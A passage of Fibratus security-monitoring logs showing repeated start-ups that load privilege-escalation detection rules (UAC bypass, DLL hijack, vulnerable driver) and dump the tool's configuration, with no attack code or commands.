C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T20:11:47+01:00 level=info msg=bootstrapping with pid 8892. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T20:11:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true min-buffers=>16 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-thread=>true enable-vamap=>true enable-mem=>true enable-handle=>false enable-audit-api=>true flush-interval=>1s enable-registry=>true enable-dns=>false stack-enrichment=>true enable-threadpool=>false enable-net=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ amqp=>[ passive=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false durable=>false timeout=>5s exchange=>fibratus vhost=>/ enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ sniff=>false index-name=>fibratus enabled=>false healthcheck-interval=>10s bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false timeout=>5s healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enabled=>false timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false enabled=>false skip-allocs=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T20:11:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:11:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:13:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T20:13:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T20:13:26+01:00 level=info msg=bootstrapping with pid 5432. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T20:13:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true buffer-size=>512 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-handle=>false enable-net=>true enable-fileio=>true enable-registry=>true enable-dns=>false enable-vamap=>true flush-interval=>1s max-buffers=>36 enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST endpoints=>[] timeout=>5s] amqp=>[ delivery-mode=>transient exchange=>fibratus durable=>false exchange-type=>topic url=>amqp://localhost:5672 passive=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false vhost=>/ routing-key=>fibratus] elasticsearch=>[ sniff=>false timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s enabled=>false gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus trace-log=>false healthcheck=>true index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false skip-allocs=>false fastscan=>true skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-files=>false scan-timeout=>10s enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T20:13:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:13:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:15:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T20:15:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T20:15:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T12:51:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T12:51:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T12:51:10+01:00 level=info msg=bootstrapping with pid 2812. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T12:51:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true max-buffers=>36 stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-dns=>false enable-audit-api=>true flush-interval=>1s enable-registry=>true buffer-size=>512 min-buffers=>16 enable-fileio=>true enable-image=>true enable-handle=>false enable-net=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 level=>info max-size=>100 log-stdout=>true] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false timeout=>5s enabled=>false endpoints=>[] serializer=>json enable-gzip=>false] amqp=>[ passive=>false timeout=>5s routing-key=>fibratus enabled=>false exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ sniff=>false gzip-compression=>false healthcheck-interval=>10s healthcheck=>true enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1 index-name=>fibratus trace-log=>false healthcheck-timeout=>5s timeout=>5s flush-period=>1s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false skip-mmaps=>false fastscan=>true excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T12:51:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T12:51:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T12:57:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T12:57:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T12:57:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:03:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:03:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:03:14+01:00 level=info msg=bootstrapping with pid 15800. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:03:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-threadpool=>false enable-handle=>false enable-audit-api=>true enable-fileio=>true min-buffers=>16 buffer-size=>512 enable-mem=>true enable-registry=>true enable-thread=>true max-buffers=>36 flush-interval=>1s enable-image=>true enable-dns=>false stack-enrichment=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-age=>0 max-size=>100 level=>info] + output ......................... [ http=>[ enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ passive=>false exchange-type=>topic timeout=>5s durable=>false delivery-mode=>transient exchange=>fibratus enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false bulk-workers=>1 index-name=>fibratus flush-period=>1s healthcheck=>true enabled=>false healthcheck-interval=>10s trace-log=>false timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-timeout=>5s]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] skip-allocs=>false skip-registry=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:03:15+01:00 level=info 